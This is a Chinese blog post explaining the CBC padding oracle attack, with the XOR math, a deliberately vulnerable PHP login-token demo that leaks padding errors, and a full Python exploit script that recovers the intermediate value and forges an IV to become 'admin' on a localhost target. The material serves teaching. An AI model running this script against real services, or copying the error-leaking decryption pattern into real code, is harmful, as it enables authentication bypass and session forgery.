Automne's Shadow.

CBC Padding Oracle Attack Conclusion

2019/06/23 Share

Crypto

CBC Padding Oracle攻击的关键在于通过构造IV值(或者说是CBC里的前一组密文),利用服务器的返回值,结合padding模式(PKCS5/PKCS7)来猜解出正确的中间值,猜解到中间值后,可以将中间值与获取到的IV异或还原出明文,也可以修改IV与中间值异或,从而控制输出的明文内容。

要了解CBC Padding Oracle攻击,首先看一下CBC的解密模式。

automne

这里将Ciphertext经过Block Cipher Decryption处理后的数据记为middle,于是有:

1
2
3
4
middle ⊕ iv = Plaintext

Plaintext_old ⊕ iv_old = middle
Plaintext_new ⊕ iv_new = middle

因为Ciphertext是特定的,所以middle是固定值

从上面的公式也可以看到通过修改iv的值,就可以达到修改明文的效果。

进一步推导就可以得到:

1
新iv = 原iv ^ 原明文 ^ 新明文

众所周知,AES的分组长度是16字节(128bit),使用PKCS7填充模式(填充字节取值范围0x01~0x10共16位)进行分组填充。填充模式的介绍查看https://zhiwei.li/text/2009/05/17/%E5%AF%B9%E7%A7%B0%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95%E7%9A%84pkcs5%E5%92%8Cpkcs7%E5%A1%AB%E5%85%85/

关于该攻击的描述,结合下面两篇文章的介绍可以一探究竟:

https://www.freebuf.com/articles/web/15504.html

http://f1sh.site/2017/08/04/%E5%88%9D%E5%AD%A6padding-oracle-attack/

接着使用上面文章里的例子进行测试,例子源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
define("SECRET_KEY", "******"); //key不可知
define("METHOD", "aes-128-cbc");
session_start();
function get_random_token(){
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity(){
$id = '***'; //原明文不可知
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
$_SESSION['isadmin'] = false;
}
function test_identity(){
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
}
}else
echo "Error!";
}
}
if(!isset($_SESSION['id']))
get_identity();
test_identity();
if ($_SESSION["isadmin"])
echo "You are admin!";
else
echo "false";
?>

通过

1
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)

可以看到tokenaes128cbcIVtoken作为aes-128-cbc的IV,id作为明文

另外$token是随机生成的

注意下面的判断语句

1
2
3
4
5
6
if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
if ($u === 'admin') {
$_SESSION['isadmin'] = true;
}
}else
echo "Error!";

要求解密后的明文是"admin",显然源码中的原始明文必然不是“admin”,这里就是“***”。

所以这里就需要用到CBC Padding Oracle Attack来通过修改IV伪造明文为“admin”,从而绕过判断。

首先看一下直接访问该php文件的效果

automne

把大佬的脚本拿过来进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding: utf-8 -*-
import requests
import base64
url = 'http://127.0.0.1/padding.php'
N = 16

def inject_token(token):
header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token}
result = requests.post(url, headers = header)
return result

def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])

def pad(string, N):
l = len(string)
if l != N:
return string + chr(N - l) * (N - l)

def padding_oracle(N):
get = ""
for i in xrange(1, N+1):
for j in xrange(0, 256):
padding = xor(get, chr(i) * (i-1))
#print padding
c = chr(0) * (16-i) + chr(j) + padding
result = inject_token(base64.b64encode(c))
if "Error!" not in result.content:
#print j,i
get = chr(j ^ i) + get
#print get
break
return get

while 1:
session = requests.get(url).headers['Set-Cookie'].split(',')
phpsession = session[0].split(";")[0][10:]
print phpsession
token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64')
middle1 = padding_oracle(N)
#print middle1
print "\n"
#exit()
if(len(middle1) + 1 == 16):
for i in xrange(0, 256):
middle = chr(i) + middle1
print "token:" + token
print "middle:" + middle
plaintext = xor(middle,token)
print "plaintext:" + plaintext
des = pad('admin', N)
tmp = ""
print des
print des.encode("base64")
for i in xrange(16):
tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
print "faked token:" + tmp.encode('base64')
print "session:" + phpsession
result = inject_token(base64.b64encode(tmp))
if "You are admin!" in result.content:
print result.content
print "success"
exit()

aes-128-cbc的middel中间值当然也是16字节

automne

从代码里可以看到,对16字节的middel的后15字节调用了padding_oracle()函数

1
for i in xrange(1, N+1):

然后单独对第1个字节进行爆破处理

1
2
3
4
5
6
if(len(middle1) + 1 == 16):
for i in xrange(0, 256):
middle = chr(i) + middle1
print "token:" + token
print "middle:" + middle
plaintext = xor(middle,token)

这么处理的原因就在于根据padding oracle attack的方式处理第1个字节的话,逻辑上行不通。

运行后就可以得到能够绕过的session和token,从下图也可以看到,当爆破到正确的明文“***”,结合原始的token(IV),再和构造出的明文异或,就得到了伪造的token(IV)

1
2
for i in xrange(16):
tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))

automne

从分析的过程中可以看到,CBC Padding Oracle Attack的关键在于:

  1. 攻击者能够获知原始IV并且能够修改IV
  2. 攻击者能够获知解密结果是否符合padding规则
CATALOG